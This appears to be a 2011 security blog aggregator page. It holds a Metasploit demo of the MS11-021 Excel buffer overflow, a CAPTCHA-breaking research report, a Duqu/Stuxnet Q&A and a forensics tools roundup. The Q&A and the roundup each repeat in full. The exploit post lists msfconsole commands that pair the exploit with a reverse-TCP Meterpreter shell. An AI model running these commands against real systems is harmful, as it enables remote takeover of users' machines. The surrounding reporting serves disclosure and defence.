This nice talk will discuss the history of concealing data within operating systems and new techniques and tools for doing so in modern Windows implementations.
Monday, November 7, 2011
MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow Metasploit Demo
Timeline :
Vulnerability discovered and reported to ZDI by Aniway
Vulnerability reported to vendor by ZDI the 2010-10-18
Coordinated release of the vulnerability the 2011-04-12
Metasploit PoC provided the 2011-11-05
PoC provided by :
Aniway
abysssec
sinn3r
juan vazquez
Reference(s) :
CVE-2011-0105
MS11-021
ZDI-11-121
Affected version(s) :
Microsoft Office XP Service Pack 3
Microsoft Office 2003 Service Pack 3
Microsoft Office 2007 Service Pack 2
Microsoft Office 2010 (32 and 64 bits edition)
Microsoft Office 2004 for Mac
Microsoft Office 2008 for Mac
Microsoft Office for Mac 2011
Open XML File Format Converter for Mac
Microsoft Excel Viewer Service Pack 2
Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats Service Pack 2
Tested on Windows XP Pro SP3 with :
Microsoft Office Excel 2007 (12.0.4518.014)
Description :
This module exploits a vulnerability found in Excel of Microsoft Office 2007. By supplying a malformed .xlb file, an attacker can control the content (source) of a memcpy routine, and the number of bytes to copy, therefore causing a stack- based buffer overflow. This results arbitrary code execution under the context of user the user.
Commands :
use exploit/windows/fileformat/ms11_021_xlb_bof
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
getuid
sysinfo
Thursday, November 3, 2011
Lab Matters - Inside the Sony Hack
Lab Matters - Inside the Sony Hack:
Tim Armstrong looks at the timeline of the Sony breach and pieces together the relevant details at each point in time. He discusses the known facts of the case and the potential future fallout.
13 Out Of 15 Popular CAPTCHA Schemes Vulnerable To Automated Attacks
Security researchers have discovered the vast majority of text-based anti-spam tests are easily defeated.
Computer scientists from Stanford University discovered 13 of 15 CAPTCHA schemes from popular websites were vulnerable to automated attacks. The CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) has been used for several years to prevent automated sign-ups to webmail accounts or online forums in order to block spam bots. Surfers are typically asked during a registration process to identify distorted letters as depicted in an image. A variety of other approaches – including pictures of cats, audio clips and calculus puzzles – have been applied to the problem over the years.
Cybercrooks have responded to the challenge posed by CAPTCHAs by devising techniques that typically involve semi-automatically signing up for new accounts, while relying on the human cogs in 21st century sweatshops – typically located in India – to solve the CAPTCHA puzzles themselves.
The Stanford team, by contrast, looked at whether it was possible to fully automate the process of breaking CAPTCHAs. Their techniques including removing deliberately introduced image background noise and breaking text strings into single characters for easier recognition. The team built an automated tool, called Decaptcha, that applied these various tricks. The approach was partially inspired by techniques used to orientate robots in unknown environments.
Decaptcha was turned against the challenge response CAPTCHAs used by 15 high-profile websites, enjoying excellent bowling figures against the majority.
For example, Visa’s Authorize.net payment gateway CAPTCHA was defeated 66 per cent of the time. eBay’s CAPTCHA was sidestepped 43 per cent of the time. Lower, but still workable, bypass rates were achieved against Wikipedia, Digg and CNN.
Google and reCAPTCHA were the only two CAPTCHA systems that consistently thwarted Decaptcha during the tests.
Authorize.net and Digg have both switched to reCAPTCHA since these tests were run, Computerworld adds.
In a research paper (PDF), the Stanford team suggest several approaches towards making CAPTCHAs harder to beat, including making the length of a text string changeable and randomising character font and size. Lines in the background of CAPTCHAs might also prove effective. In addition, the Stanford team highlighted features that are ineffective against automated attacks but may counter the activities of humans.
The researchers, Elie Bursztein, Matthieu Martin and John C Mitchel, who previously developed techniques for breaking audio CAPTCHAs, presented their latest research at the recent ACM Conference On Computer and Communication Security in Chicago.
Duqu: Questions and Answers
Duqu: Questions and Answers: Due to its complexity, case Duqu is challenging to understand. Here are some questions and answers that we hope will help.
Q: What is Duqu?
A: Because of the news and ongoing developments surrounding Duqu, that's actually a very broad question. Here's a narrow answer: Duqu is a Windows bot (not worm) that has been used as part of highly targeted attacks against a limited number of organizations, in a limited number of countries.
Q: How does Duqu spread?
A: Duqu doesn't spread on its own. In one known case, Duqu was installed by a document attachment which was delivered via an e-mail message.
Q: Isn't that the same method by which RSA was hacked?
A: Yes. Numerous targeted attacks have used this method. In the RSA case, an Excel document attachment used an embedded Flash object that exploited a zero-day vulnerability in Adobe Flash Player to install a backdoor/remote access tool (RAT) called Poison Ivy.
Q: So what's so special about Duqu's exploit?
A: The zero-day used by Duqu's installer exploits a vulnerability in the Windows kernel.
Q: How much more advanced is a Window kernel exploit than a Flash Player exploit?
A: What? Please.
Q: No, seriously, how much?
A: Significantly more. A Windows kernel vulnerability/exploit is worth a great deal more compared to one used against a third-party application, even one so widely installed as Flash Player.
Q: Can I patch my system against this vulnerability?
A: No. You can't.
Q: So what can I do if this Windows kernel vulnerability is unpatched?
A: Wait. Microsoft Security Response is currently investigating the vulnerability and is preparing a solution. Fortunately, the exploit document is in very limited circulation, and is under an NDA.
Q: Why is there an NDA on the document?
A: Because it was such a highly targeted attack, the document itself would most likely reveal the identity of the target. Sharing the document would be a breach of customer confidentially, and therefore, CrySyS Lab (discoverer of Duqu) cannot release the document unless done in a way that protects the privacy of their customer.
Q: So Duqu's installer is not "in-the-wild"?
A: Not generally, no. Though there could be some other undiscovered variants.
Q: So is Duqu a threat to me?
A: That depends on whom you are. But generally, no. However, Duqu will eventually create a big problem.
Q: What problem will Duqu create?
A: Once Microsoft patches the Windows kernel vulnerability, criminals at large will be able to reverse engineer the patch, and will discover the vulnerability. At that point, any Windows computer that isn't up to date will be more vulnerable to what could prove be to be a very serious exploit.
Q: But not yet?
A: Correct.
Q: Is there anything else interesting about Duqu?
A: Yes, definitely. In one known case, a driver used by Duqu was signed using a stolen certificate issued to a Taiwanese hardware company called C-Media.
Q: Why did Duqu use a signed driver?
A: Signed drivers can circumvent security policies that prompt about or reject installation of unsigned drivers. Security policies can be configured to inherently distrust unsigned drivers. Having a driver signed by a known vendor provides a valuable level of trust.
Q: So then is that why Duqu such a big deal? Because of the zero-day and the signed driver?
A: That… and because Duqu is "related" to Stuxnet.
Q: How is it related?
A: A component of "Duqu" is nearly identical to a component of "Stuxnet" and they appear to have been authored by somebody that has access to common source code.
Q: What else relates "Duqu" and "Stuxnet"?
A: One the drivers used by "Duqu" claims to be from a Taiwanese hardware company called JMicron. Stuxnet used drivers that were signed by a certificate stolen from JMicron.
Q: How were the certificates stolen?
A: Unknown.
Q: How many were stolen?
A: Known cases, three different hardware vendors from Taiwan: C-Media; JMicron; and Realtek.
Q: Why is "Duqu" connected to Taiwan?
A: Unknown.
Q: Why the quotes? What else is "Duqu"?
A: In a broad sense, Duqu is an "organized action" or a "mission" that has been deployed (or authorized) by a nation state.
Q: What do you mean by an "organized action"?
A: "Duqu" appears to be an espionage or reconnaissance mission of some sort. For example, in the real world, a reconnaissance mission of this sort could be considered what United States Marine Corp Force Reconnaissance (FORECON) teams call a "Green Operation".
Q: So "Duqu" isn't just malicious code?
A: The software component is only one part of what we call Duqu. Think about it like this: there's Duqu software and there's also Operation Duqu.
Q: And "Stuxnet"? What about the Stuxnet worm?
A: The installer used by Operation Stuxnet was an advanced USB worm. The worm used a zero-day Windows vulnerability to facilitate its spread.
Q: Are the missions of Operation Duqu and Operation Stuxnet the same?
A: No. Operation Stuxnet was more of a "Black Operation", a mission that involves direct action, which in Stuxnet's case, was to disrupt operations at an Iranian nuclear power facility.
Q: Stuxnet disrupted operations at a nuclear power plant?
A: Yes. Operation Stuxnet was very complex, and also, subtle. The Stuxnet worm and its additional components needed to travel a sizeable distance geographically. It also needed to infiltrate a closed target which was not connected to the Internet, on autopilot, without calling home.
Q: So that's why Stuxnet used a USB worm as the installer/infection vector?
A: Yes. Because of the difficult mitigating factors, Stuxnet needed to spread itself without any external resources. And so it was equipped with numerous zero-day exploits. Out of context, Stuxnet's infection capabilities seem to be overkill, but then, its mission appears to have been a success, so those behind Stuxnet probably don't think so.
Q: How does Duqu differ?
A: Duqu is advanced but is not configured to act autonomously. Once the installer infects its target, Duqu calls home to a command and control (C&C) server. There are two servers that are currently known. One was located in India and the other was located in Belgium. The IP addresses are now inactive.
Q: What actions were carried out by the C&C?
A: In one known case, Duqu downloaded an infostealer to collect data from the target. That infostealer is actually the component from which Duqu gets its name, because it prepends log files related to stolen data with "DQ".
Q: What else can the C&C do?
A: For example, Duqu could be instructed to spread itself on the target network via shared network resources.
Q: How did Duqu send the collected data to the C&C?
A: It encrypted the data and appended it to JPG images.
Q: What? JPG images? Why?
A: So that somebody monitoring network traffic would only see innocent looking image files instead of confidential materials.
Q: Wow. Does Duqu do anything else sneaky?
A: Yes. After 30 days, unless told otherwise by the C&C, Duqu will delete itself limit evidence of the breach.
Q: Who is behind Duqu?
A: Unknown.
Q: What were they looking for, and why?
A: Unknown.
Q: What can you definitively tell us about Duqu?
A: The software components of "Operation Duqu" were made by a very skilled team of developers and exploit analysts.
Q: Can you speculate on Duqu's objectives?
A: Whatever it was, it must be very important to the interests of the nation state actor pulling the strings. It this actor's mind, the cost of disclosing a Windows kernel vulnerability is outweighed by the benefits. Only those with privileged information can accurately determine Duqu's true goals. Unless and until an identifiable direct action results.
Q: So you think a government agency is behind Duqu?
A: Yes.
Q: Should a government actor use malware such as Duqu?
A: It doesn't appear to be up for a vote.
Q: What about Germany's R2D2 trojan?
A: R2D2 is a trojan written for police surveillance. It did not use zero-day exploits and drivers signed with stolen certificates from legitimate hardware vendors. R2D2 was commissioned by German authorities for normal police work.
Q: But police trojans are not good, right?
A: No, malware often finds a way of escaping control. It never seems like a good idea to us.
Q: How bad is R2D2?
A: R2D2 appears to have far overreached what is allowed by German law. It has created a legal and political mess in Germany, but not so much of a technical mess. Our system automation determined R2D2 should not be trusted on its own long before human analysts ever took notice of it. The thing that made R2D2 valuable to the police was its limited install base. It was not really innovative in a way that could be co-opted by criminals.
Q: Are Stuxnet/Duqu innovative?
A: Yes, very much so. Once the vulnerability is disclosed, we (and others) will need to devote numerous man-hours creating strong generic detections for this new exploit. Other members of our Labs will need to datamine our file collections for software signed by C-Media in order to rescan them and process the results. Duqu creates technical headaches and the lessons learned will be adopted by criminals at some point.
Q: What about those that say that Duqu isn't related to Stuxnet?
A: Let's compare the similarities between the two operations.
• The installer exploits zero-day Windows kernel vulnerability(ies).
• Have components signed with a stolen certificates.
• Highly targeted in a way to suggests advanced intelligence.
The technical development team that coded and built the infrastructure for Duqu may differ in part from the team that developed Stuxnet. The highly targeted nature of the attacks suggests a considerable amount of human intelligence work was involved. This intelligence work could have been done by the same or different analysts, but that hardly matters. Whatever the composition of the teams involved, the similarities between the operations would suggest a common nation state actor pulling the strings.
Q: Will we ever learn the identity of this nation state?
A: Doesn't seem likely… at least not anytime soon. The consequences of Duqu's wake discourages any sort of disclosure.
Q: Does this nation state actor have other operations in progress?
A: Unknown. But it wouldn't seem very surprising if so.
Q: Final question (for now): Operation Duqu used an e-mail attachment. Isn't that something that everybody should be on guard against? Why use such a basic attack methodology?
A: Because it works.
Q: What is Duqu?
A: Because of the news and ongoing developments surrounding Duqu, that's actually a very broad question. Here's a narrow answer: Duqu is a Windows bot (not worm) that has been used as part of highly targeted attacks against a limited number of organizations, in a limited number of countries.
Q: How does Duqu spread?
A: Duqu doesn't spread on its own. In one known case, Duqu was installed by a document attachment which was delivered via an e-mail message.
Q: Isn't that the same method by which RSA was hacked?
A: Yes. Numerous targeted attacks have used this method. In the RSA case, an Excel document attachment used an embedded Flash object that exploited a zero-day vulnerability in Adobe Flash Player to install a backdoor/remote access tool (RAT) called Poison Ivy.
Q: So what's so special about Duqu's exploit?
A: The zero-day used by Duqu's installer exploits a vulnerability in the Windows kernel.
Q: How much more advanced is a Window kernel exploit than a Flash Player exploit?
A: What? Please.
Q: No, seriously, how much?
A: Significantly more. A Windows kernel vulnerability/exploit is worth a great deal more compared to one used against a third-party application, even one so widely installed as Flash Player.
Q: Can I patch my system against this vulnerability?
A: No. You can't.
Q: So what can I do if this Windows kernel vulnerability is unpatched?
A: Wait. Microsoft Security Response is currently investigating the vulnerability and is preparing a solution. Fortunately, the exploit document is in very limited circulation, and is under an NDA.
Q: Why is there an NDA on the document?
A: Because it was such a highly targeted attack, the document itself would most likely reveal the identity of the target. Sharing the document would be a breach of customer confidentially, and therefore, CrySyS Lab (discoverer of Duqu) cannot release the document unless done in a way that protects the privacy of their customer.
Q: So Duqu's installer is not "in-the-wild"?
A: Not generally, no. Though there could be some other undiscovered variants.
Q: So is Duqu a threat to me?
A: That depends on whom you are. But generally, no. However, Duqu will eventually create a big problem.
Q: What problem will Duqu create?
A: Once Microsoft patches the Windows kernel vulnerability, criminals at large will be able to reverse engineer the patch, and will discover the vulnerability. At that point, any Windows computer that isn't up to date will be more vulnerable to what could prove be to be a very serious exploit.
Q: But not yet?
A: Correct.
Q: Is there anything else interesting about Duqu?
A: Yes, definitely. In one known case, a driver used by Duqu was signed using a stolen certificate issued to a Taiwanese hardware company called C-Media.
Q: Why did Duqu use a signed driver?
A: Signed drivers can circumvent security policies that prompt about or reject installation of unsigned drivers. Security policies can be configured to inherently distrust unsigned drivers. Having a driver signed by a known vendor provides a valuable level of trust.
Q: So then is that why Duqu such a big deal? Because of the zero-day and the signed driver?
A: That… and because Duqu is "related" to Stuxnet.
Q: How is it related?
A: A component of "Duqu" is nearly identical to a component of "Stuxnet" and they appear to have been authored by somebody that has access to common source code.
Q: What else relates "Duqu" and "Stuxnet"?
A: One the drivers used by "Duqu" claims to be from a Taiwanese hardware company called JMicron. Stuxnet used drivers that were signed by a certificate stolen from JMicron.
Q: How were the certificates stolen?
A: Unknown.
Q: How many were stolen?
A: Known cases, three different hardware vendors from Taiwan: C-Media; JMicron; and Realtek.
Q: Why is "Duqu" connected to Taiwan?
A: Unknown.
Q: Why the quotes? What else is "Duqu"?
A: In a broad sense, Duqu is an "organized action" or a "mission" that has been deployed (or authorized) by a nation state.
Q: What do you mean by an "organized action"?
A: "Duqu" appears to be an espionage or reconnaissance mission of some sort. For example, in the real world, a reconnaissance mission of this sort could be considered what United States Marine Corp Force Reconnaissance (FORECON) teams call a "Green Operation".
Q: So "Duqu" isn't just malicious code?
A: The software component is only one part of what we call Duqu. Think about it like this: there's Duqu software and there's also Operation Duqu.
Q: And "Stuxnet"? What about the Stuxnet worm?
A: The installer used by Operation Stuxnet was an advanced USB worm. The worm used a zero-day Windows vulnerability to facilitate its spread.
Q: Are the missions of Operation Duqu and Operation Stuxnet the same?
A: No. Operation Stuxnet was more of a "Black Operation", a mission that involves direct action, which in Stuxnet's case, was to disrupt operations at an Iranian nuclear power facility.
Q: Stuxnet disrupted operations at a nuclear power plant?
A: Yes. Operation Stuxnet was very complex, and also, subtle. The Stuxnet worm and its additional components needed to travel a sizeable distance geographically. It also needed to infiltrate a closed target which was not connected to the Internet, on autopilot, without calling home.
Q: So that's why Stuxnet used a USB worm as the installer/infection vector?
A: Yes. Because of the difficult mitigating factors, Stuxnet needed to spread itself without any external resources. And so it was equipped with numerous zero-day exploits. Out of context, Stuxnet's infection capabilities seem to be overkill, but then, its mission appears to have been a success, so those behind Stuxnet probably don't think so.
Q: How does Duqu differ?
A: Duqu is advanced but is not configured to act autonomously. Once the installer infects its target, Duqu calls home to a command and control (C&C) server. There are two servers that are currently known. One was located in India and the other was located in Belgium. The IP addresses are now inactive.
Q: What actions were carried out by the C&C?
A: In one known case, Duqu downloaded an infostealer to collect data from the target. That infostealer is actually the component from which Duqu gets its name, because it prepends log files related to stolen data with "DQ".
Q: What else can the C&C do?
A: For example, Duqu could be instructed to spread itself on the target network via shared network resources.
Q: How did Duqu send the collected data to the C&C?
A: It encrypted the data and appended it to JPG images.
Q: What? JPG images? Why?
A: So that somebody monitoring network traffic would only see innocent looking image files instead of confidential materials.
Q: Wow. Does Duqu do anything else sneaky?
A: Yes. After 30 days, unless told otherwise by the C&C, Duqu will delete itself limit evidence of the breach.
Q: Who is behind Duqu?
A: Unknown.
Q: What were they looking for, and why?
A: Unknown.
Q: What can you definitively tell us about Duqu?
A: The software components of "Operation Duqu" were made by a very skilled team of developers and exploit analysts.
Q: Can you speculate on Duqu's objectives?
A: Whatever it was, it must be very important to the interests of the nation state actor pulling the strings. It this actor's mind, the cost of disclosing a Windows kernel vulnerability is outweighed by the benefits. Only those with privileged information can accurately determine Duqu's true goals. Unless and until an identifiable direct action results.
Q: So you think a government agency is behind Duqu?
A: Yes.
Q: Should a government actor use malware such as Duqu?
A: It doesn't appear to be up for a vote.
Q: What about Germany's R2D2 trojan?
A: R2D2 is a trojan written for police surveillance. It did not use zero-day exploits and drivers signed with stolen certificates from legitimate hardware vendors. R2D2 was commissioned by German authorities for normal police work.
Q: But police trojans are not good, right?
A: No, malware often finds a way of escaping control. It never seems like a good idea to us.
Q: How bad is R2D2?
A: R2D2 appears to have far overreached what is allowed by German law. It has created a legal and political mess in Germany, but not so much of a technical mess. Our system automation determined R2D2 should not be trusted on its own long before human analysts ever took notice of it. The thing that made R2D2 valuable to the police was its limited install base. It was not really innovative in a way that could be co-opted by criminals.
Q: Are Stuxnet/Duqu innovative?
A: Yes, very much so. Once the vulnerability is disclosed, we (and others) will need to devote numerous man-hours creating strong generic detections for this new exploit. Other members of our Labs will need to datamine our file collections for software signed by C-Media in order to rescan them and process the results. Duqu creates technical headaches and the lessons learned will be adopted by criminals at some point.
Q: What about those that say that Duqu isn't related to Stuxnet?
A: Let's compare the similarities between the two operations.
• The installer exploits zero-day Windows kernel vulnerability(ies).
• Have components signed with a stolen certificates.
• Highly targeted in a way to suggests advanced intelligence.
The technical development team that coded and built the infrastructure for Duqu may differ in part from the team that developed Stuxnet. The highly targeted nature of the attacks suggests a considerable amount of human intelligence work was involved. This intelligence work could have been done by the same or different analysts, but that hardly matters. Whatever the composition of the teams involved, the similarities between the operations would suggest a common nation state actor pulling the strings.
Q: Will we ever learn the identity of this nation state?
A: Doesn't seem likely… at least not anytime soon. The consequences of Duqu's wake discourages any sort of disclosure.
Q: Does this nation state actor have other operations in progress?
A: Unknown. But it wouldn't seem very surprising if so.
Q: Final question (for now): Operation Duqu used an e-mail attachment. Isn't that something that everybody should be on guard against? Why use such a basic attack methodology?
A: Because it works.
Friday, October 28, 2011
Tools and Links
Tools and Links: Not long ago, I started a FOSS page for my blog, so I didn't have to keep going back and searching for various tools...if I find something valuable, I'll simply post it to this page and I won't have to keep looking for it. You'll notice that I really don't have much in the way of descriptions posted yet, but that will come, and hopefully others will find it useful. That doesn't mean the page is stagnant...not at all. I'll be updating the page as time goes on.
Volatility
Melissa Augustine recently posted that she'd set up Volatility 2.0 on Windows, using this installation guide, and using the EXE for Distorm3 instead of the ZIP file. Take a look, and as Melissa says, be sure to thoroughly read and follow the instructions for installing various plugins. Thanks to Jamie Levy for providing such clear guidance/instructions, as I really think that doing so lowers the "cost of entry" for such a valuable tool. Remember..."there're more things in heaven and earth than are dreamt of in your philosophy." That is, performing memory analysis is a valuable skill to have, particularly when you have access to a memory dump, or to a live system from which you can dump memory. Volatility also works with hibernation files, from whence considerable information can be drawn, as well.
WDE
Now and again, you may run across whole disk encryption, or encrypted volumes on a system. I've seen these types of systems before...in some cases, the customer has simply asked for an image (knowing that the disk is encrypted) and in others, the only recourse we have to acquire a usable image for analysis is to log into the system as an Admin and perform a live acquisition.
TCHunt
ZeroView from Technology Pathways, to detect WDE (scroll down on the linked page)
You can also determine if the system had been used to access TrueCrypt or PGP volumes by checking the MountedDevices key in the Registry (this is something that I've covered in my books). You can use the RegRipper mountdev.pl plugin to collect/display this information, either from a System hive extracted from a system, or from a live system that you've accessed via F-Response.
Timelines
David Hull gave a presentation on "Atemporal timeline analysis" at the recent SecTorCA conference (can find the presentation .wmv files here), and posted an abridged version of the presentation to the SANS Forensic blog (blog post here).
When I saw the title, the first thing I thought was...what? How do you talk about something independent of time in a presentation on timeline analysis? Well, even David mentions at the beginning of the recorded presentation that it's akin to "asexual sexual reproduction"...so, the title is meant to be an oxymoron. In short, what the title seems to refer to is performing timeline analysis during an incident when you don't have any sort of time reference from which to start your analysis. This is sometimes the case...I've performed a number of exams having very little information from which to start my analysis, but finding something associated with the incident often leads me to the timeline, providing a significant level of context to the overall incident.
In this case, David said that the goal was to "find the attacker's code". Overall, the recorded presentation is a very good example of how to perform analysis using fls and timelines based solely on file system metadata, and using tools such as grep() to manipulate (as David mentions, "pivot on") the data. In short, the SANS blog post doesn't really address the use of "atemporal" within the context of the timeline...you really need to watch the recorded presentation to see how that term applies.
Sniper Forensics
Also, be sure to check out Chris Pogue's "Sniper Forensics v3.0: Hunt" presentation, which is also available for download via the same page. There are a number of other presentations that would be very good to watch, as well...some talk about memory analysis. The latest iteration of Chris's "Sniper Forensics" presentations (Chris is getting a lot of mileage from these things...) makes a very important point regarding analysis...in a lot of a cases, an artifact appears to be relevant to a case based on the analyst's experience. A lot of analysts find "interesting" artifacts, but many of these artifacts don't relate directly to the goals of their analysis. Chris gives some good examples of an "expert eye"; in one slide, he shows an animal track. Most folks might not even really care about that track, but to a hunter, or someone like me (ride horses in a national park), the track tells me a great deal about what I can expect to see.
This applies directly to "Sniper Forensics"; all snipers are trained in observation. Military snipers are trained to quickly identify military objects, and to look for things that are "different". For example, snipers will be sent to observe a route of travel, and will recognize freshly turned earth or a pile of trash on that route when the sun comes up the next day...this might indicate an attempt to hide an explosive device.
How does this apply to digital forensic analysis? Well, if you think about it, it is very applicable. For example, let's say that you happen to notice that a DLL was modified on a system. This may stand out as odd, in part because it's not something that you've seen a great deal of...so you create a timeline for analysis, and see that there wasn't a system or application update at that time.
Much like a sniper, a digital forensic analyst must be focused. A sniper observes an area in order to gain intelligence...enemy troop movements, civilian traffic through the area, etc. Is the sniper concerned with the relative airspeed of an unladen swallow? While that artifact may be "interesting", it's not pertinent to the sniper's goals. The same holds true with the digital forensic analyst...you may find something "interesting" but how does that apply to your goals, or should you get your scope back on the target?
Data Breach 'Best Practices'
I ran across this article recently on the GovernmentHealthIT site, and while it talks about breach response best practices, I'd strongly suggest that all four of these steps need to be performed before a breach occurs. After all, while the article specifies PII/PHI, regulatory and compliance organizations for those and other types of data (PCI) specifically state the need for an incident response plan (PCI DSS para 12.9 is just one example).
Item 1 is taking an inventory...I tell folks all the time that when I've done IR work, one of the first things I ask is, where is your critical data. Most folks don't know. A few that have have also claimed (incorrectly) that it was encrypted at rest. I've only been to one site where the location of sensitive data was known and documented prior to a breach, and that information not only helped our response analysis immensely, it also reduced the overall cost of the response (in fines, notification costs, etc.) for the customer.
While I agree with the sentiment of item 4 in the article (look at the breach as an opportunity), I do not agree with the rest of that item; i.e., "the opportunity to find all the vulnerabilities in an organization—and find the resources for fixing them."
Media Stuff
Brian Krebs has long followed and written on the topic of cybercrime, and one of his recent posts is no exception. I had a number of take-aways from this post that may not be intuitively obvious:
1. "Password-stealing banking Trojans" is ambiguous, and could be any of a number of variants. The "Zeus" (aka, Zbot) Trojan is mentioned later in the post, but there's no information presented to indicate that this was, in fact, a result of that specific malware. Anyone who's done this kind of work for a while is aware that there are a number of malware variants that can be used to collect online banking credentials.
2. Look at the victims mentioned in Brian's post...none of them is a big corporate entity. Apparently, the bad guys are aware that smaller targets are less likely to have detection and response capabilities (*cough*CarbonBlack*cough*). This, in turn, leads directly to #3...
3. Nothing in the post indicates that a digital forensics investigation was done of systems at the victim location. With no data preserved, no actual analysis was performed to identify the specific malware, and there's nothing on which law enforcement can build a case.
Finally, while the post doesn't specifically mention the use of Zeus at the beginning, it does end with a graphic showing detection rates of new variants of the Zeus Trojan over the previous 60 days; the average detection rate is below 40%. While the graphic is informative,
More Media Stuff
I read this article recently from InformationWeek that relates to the recent breach of NASDAQ systems; I specifically say "relates" to the breach, as the article specifies, "...two experts with knowledge of Nasdaq OMX Group's internal investigation said that while attackers hadn't directly attacked trading servers...". The title of the article includes the words "3 Expected Findings", and the article is pretty much just speculation about what happened, from the get-go. In fact, the article goes on to say, "...based on recent news reports, as well as likely attack scenarios, we'll likely see these three findings:". That's a lot of "likely" in one sentence, and this much speculation is never a good thing.
My concern with this is that the overall take-away from this is going to be "NASDAQ trading systems were hit with SQL injection", and folks are going to be looking for this sort of thing...and some will find it. But others will miss what's really happening while they're looking in the wrong direction.
Other Items
F-Response TACTICAL Examiner for Linux now has a GUI
Lance Mueller has closed his blog; old posts will remain, but no new content will be posted
Volatility
Melissa Augustine recently posted that she'd set up Volatility 2.0 on Windows, using this installation guide, and using the EXE for Distorm3 instead of the ZIP file. Take a look, and as Melissa says, be sure to thoroughly read and follow the instructions for installing various plugins. Thanks to Jamie Levy for providing such clear guidance/instructions, as I really think that doing so lowers the "cost of entry" for such a valuable tool. Remember..."there're more things in heaven and earth than are dreamt of in your philosophy." That is, performing memory analysis is a valuable skill to have, particularly when you have access to a memory dump, or to a live system from which you can dump memory. Volatility also works with hibernation files, from whence considerable information can be drawn, as well.
WDE
Now and again, you may run across whole disk encryption, or encrypted volumes on a system. I've seen these types of systems before...in some cases, the customer has simply asked for an image (knowing that the disk is encrypted) and in others, the only recourse we have to acquire a usable image for analysis is to log into the system as an Admin and perform a live acquisition.
TCHunt
ZeroView from Technology Pathways, to detect WDE (scroll down on the linked page)
You can also determine if the system had been used to access TrueCrypt or PGP volumes by checking the MountedDevices key in the Registry (this is something that I've covered in my books). You can use the RegRipper mountdev.pl plugin to collect/display this information, either from a System hive extracted from a system, or from a live system that you've accessed via F-Response.
Timelines
David Hull gave a presentation on "Atemporal timeline analysis" at the recent SecTorCA conference (can find the presentation .wmv files here), and posted an abridged version of the presentation to the SANS Forensic blog (blog post here).
When I saw the title, the first thing I thought was...what? How do you talk about something independent of time in a presentation on timeline analysis? Well, even David mentions at the beginning of the recorded presentation that it's akin to "asexual sexual reproduction"...so, the title is meant to be an oxymoron. In short, what the title seems to refer to is performing timeline analysis during an incident when you don't have any sort of time reference from which to start your analysis. This is sometimes the case...I've performed a number of exams having very little information from which to start my analysis, but finding something associated with the incident often leads me to the timeline, providing a significant level of context to the overall incident.
In this case, David said that the goal was to "find the attacker's code". Overall, the recorded presentation is a very good example of how to perform analysis using fls and timelines based solely on file system metadata, and using tools such as grep() to manipulate (as David mentions, "pivot on") the data. In short, the SANS blog post doesn't really address the use of "atemporal" within the context of the timeline...you really need to watch the recorded presentation to see how that term applies.
Sniper Forensics
Also, be sure to check out Chris Pogue's "Sniper Forensics v3.0: Hunt" presentation, which is also available for download via the same page. There are a number of other presentations that would be very good to watch, as well...some talk about memory analysis. The latest iteration of Chris's "Sniper Forensics" presentations (Chris is getting a lot of mileage from these things...) makes a very important point regarding analysis...in a lot of a cases, an artifact appears to be relevant to a case based on the analyst's experience. A lot of analysts find "interesting" artifacts, but many of these artifacts don't relate directly to the goals of their analysis. Chris gives some good examples of an "expert eye"; in one slide, he shows an animal track. Most folks might not even really care about that track, but to a hunter, or someone like me (ride horses in a national park), the track tells me a great deal about what I can expect to see.
This applies directly to "Sniper Forensics"; all snipers are trained in observation. Military snipers are trained to quickly identify military objects, and to look for things that are "different". For example, snipers will be sent to observe a route of travel, and will recognize freshly turned earth or a pile of trash on that route when the sun comes up the next day...this might indicate an attempt to hide an explosive device.
How does this apply to digital forensic analysis? Well, if you think about it, it is very applicable. For example, let's say that you happen to notice that a DLL was modified on a system. This may stand out as odd, in part because it's not something that you've seen a great deal of...so you create a timeline for analysis, and see that there wasn't a system or application update at that time.
Much like a sniper, a digital forensic analyst must be focused. A sniper observes an area in order to gain intelligence...enemy troop movements, civilian traffic through the area, etc. Is the sniper concerned with the relative airspeed of an unladen swallow? While that artifact may be "interesting", it's not pertinent to the sniper's goals. The same holds true with the digital forensic analyst...you may find something "interesting" but how does that apply to your goals, or should you get your scope back on the target?
Data Breach 'Best Practices'
I ran across this article recently on the GovernmentHealthIT site, and while it talks about breach response best practices, I'd strongly suggest that all four of these steps need to be performed before a breach occurs. After all, while the article specifies PII/PHI, regulatory and compliance organizations for those and other types of data (PCI) specifically state the need for an incident response plan (PCI DSS para 12.9 is just one example).
Item 1 is taking an inventory...I tell folks all the time that when I've done IR work, one of the first things I ask is, where is your critical data. Most folks don't know. A few that have have also claimed (incorrectly) that it was encrypted at rest. I've only been to one site where the location of sensitive data was known and documented prior to a breach, and that information not only helped our response analysis immensely, it also reduced the overall cost of the response (in fines, notification costs, etc.) for the customer.
While I agree with the sentiment of item 4 in the article (look at the breach as an opportunity), I do not agree with the rest of that item; i.e., "the opportunity to find all the vulnerabilities in an organization—and find the resources for fixing them."
Media Stuff
Brian Krebs has long followed and written on the topic of cybercrime, and one of his recent posts is no exception. I had a number of take-aways from this post that may not be intuitively obvious:
1. "Password-stealing banking Trojans" is ambiguous, and could be any of a number of variants. The "Zeus" (aka, Zbot) Trojan is mentioned later in the post, but there's no information presented to indicate that this was, in fact, a result of that specific malware. Anyone who's done this kind of work for a while is aware that there are a number of malware variants that can be used to collect online banking credentials.
2. Look at the victims mentioned in Brian's post...none of them is a big corporate entity. Apparently, the bad guys are aware that smaller targets are less likely to have detection and response capabilities (*cough*CarbonBlack*cough*). This, in turn, leads directly to #3...
3. Nothing in the post indicates that a digital forensics investigation was done of systems at the victim location. With no data preserved, no actual analysis was performed to identify the specific malware, and there's nothing on which law enforcement can build a case.
Finally, while the post doesn't specifically mention the use of Zeus at the beginning, it does end with a graphic showing detection rates of new variants of the Zeus Trojan over the previous 60 days; the average detection rate is below 40%. While the graphic is informative,
More Media Stuff
